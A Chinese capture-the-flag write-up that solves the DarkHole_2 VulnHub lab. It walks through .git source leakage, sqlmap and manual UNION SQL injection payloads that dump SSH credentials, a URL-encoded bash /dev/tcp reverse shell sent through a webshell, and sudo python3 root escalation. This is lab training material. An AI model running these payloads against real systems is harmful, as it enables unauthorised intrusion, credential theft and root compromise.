下载好DarkHole_2后,用VMware打开,开始:

首先探测靶机地址:arp-scan -l

Vulnhub——DarkHole_2_php

可以看到我的IP:192.168.1.104

靶机IP:192.168.1.105

先端口扫描一波吧:nmap -T4 -A -v -p- 192.168.1.105

开启了22、80端口

Vulnhub——DarkHole_2_git_02

访问80端口,只有一个登陆页面,

Vulnhub——DarkHole_2_python_03

尝试了一下万能密码啥的,没用,但是仔细观察nmap扫描结果,可以发现存在/.git/目录,也就意味着存在源码泄露,首先想到的是利用GitHack。

Vulnhub——DarkHole_2_python_04

下载GitHack:git clone ​​https://github.com/lijiejie/GitHack.git​

使用python GitHack.py ​​http://192.168.1.105/.git​​ 即可源码下载到本地。(GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码)

Vulnhub——DarkHole_2_php_05

在这里,通过翻看文件,可以发现几个点:

/config/config.php:里面存在一条MySQL相关的语句

Vulnhub——DarkHole_2_bash_06

login.php:可以看到登陆界面,对用户名和密码的处理逻辑

Vulnhub——DarkHole_2_python_07

index.php:在这里面发现了一个熟悉的".php?id=",去浏览器访问一下

Vulnhub——DarkHole_2_git_08

无权限

Vulnhub——DarkHole_2_vulnhub靶机_09

到这里思路卡住了,参考了别的文章发现,/.git 源码泄露的利用方式,如果采用GitHack的话,在某些情况下会不太实用。

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★

使用 wget 下载 git 存储库。

wget -r ​​http://192.168.1.105/.git​

下载了 .git 目录后,使用git clone . webapp 命令会将该目录创建一个webapp的源码文件,可以在其中执行所有 git 操作。

在创建的webapp文件下使用git log ,发现在git日志当中存在修改记录,切换到该条记录下,在login.php文件当中发现了一个用户名和密码:

Vulnhub——DarkHole_2_bash_10

Vulnhub——DarkHole_2_bash_11

去登陆页面:lush@admin.com/321 ,登录成功

Vulnhub——DarkHole_2_php_12

在这里熟悉的.php?id= 又出现了,在本地就直接上sqlmap一把梭,在F12去获取一下cookie:

Vulnhub——DarkHole_2_python_13

python sqlmap.py -u "​​http://192.168.1.105/dashboard.php?id=1​​" --cookie="PHPSESSID=m3sobdta513vnj0b5m8aplbr7h" --batch

可以发现,是存在注入的

Vulnhub——DarkHole_2_vulnhub靶机_14

跑一下数据库和表:

Vulnhub——DarkHole_2_php_15

Vulnhub——DarkHole_2_vulnhub靶机_16

存在两个表ssh和users,都--dump一下:python sqlmap.py -u "​​http://192.168.1.105/dashboard.php?id=1​​" --cookie="PHPSESSID=m3sobdta513vnj0b5m8aplbr7h" --batch -D darkhole_2 -T ssh --dump

Vulnhub——DarkHole_2_git_17

Vulnhub——DarkHole_2_bash_18

只有ssh存在的信息是有用的:ssh jehad@192.168.1.105

Vulnhub——DarkHole_2_bash_19

连接成功,查一下相关信息,并准备提权:

Vulnhub——DarkHole_2_python_20

Vulnhub——DarkHole_2_vulnhub靶机_21

存在python3 ,先使用一波:python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' ,但是失败了

Vulnhub——DarkHole_2_php_22

准备尝试查找SUID文件,但是没有可用的

find / -user root -perm -4000 -print 2>/dev/null

Vulnhub——DarkHole_2_vulnhub靶机_23

查看定时任务:cat /etc/crontab

Vulnhub——DarkHole_2_bash_24

定时任务存在一个9999端口的web服务,访问一下是连接失败的

Vulnhub——DarkHole_2_vulnhub靶机_25

尝试把这个9999端口转发到本地

ssh -L 9999:127.0.0.1:9999 jehad@192.168.1.105

查看对应目录下的文件: cd /opt/web ,发现是一个cmd马

Vulnhub——DarkHole_2_git_26

并且是可以执行的

Vulnhub——DarkHole_2_php_27

在建立一个反向shell ,本地 nc -nlvp 4444 监听4444端口

shell payload如下:bash -c 'bash -i >& /dev/tcp/192.168.1.104/4444 0>&1'

由于是通过Get方式执行payload,于是采用url编码一下:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.104%2F4444%200%3E%261%27

监听成功:

Vulnhub——DarkHole_2_python_28

尝试python获取交互式shell:python3 -c 'import pty;pty.spawn("/bin/bash")'

查看了一番,在历史文件 .bash_history 当中发现了一个密码:more ~/.bash_history ————————————losy:gang

Vulnhub——DarkHole_2_bash_29

查看一下用户权限:sudo -l

Vulnhub——DarkHole_2_git_30

存在(root)/usr/bin/python3

利用一下:(这里最开始忘了加上 sudo 。。。。)

sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

or

sudo python3 -c 'import os; os.system("/bin/bash")'

提权成功

Vulnhub——DarkHole_2_vulnhub靶机_31

Vulnhub——DarkHole_2_php_32

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★

补一下手工sql注入过程,copy

1】列数

id=1' ORDER BY 6 -- -

id=1' ORDER BY 7 -- -

This gives an error suggesting the 7th column doesn't exist

2】回显点

id=NULL' UNION ALL SELECT 1,2,3,4,5,6 -- -

3】数据库名称

NULL' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata -- -

4】表名

id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'-- -

5】列名

id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'-- -

6】获取表信息

id=NULL' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh-- -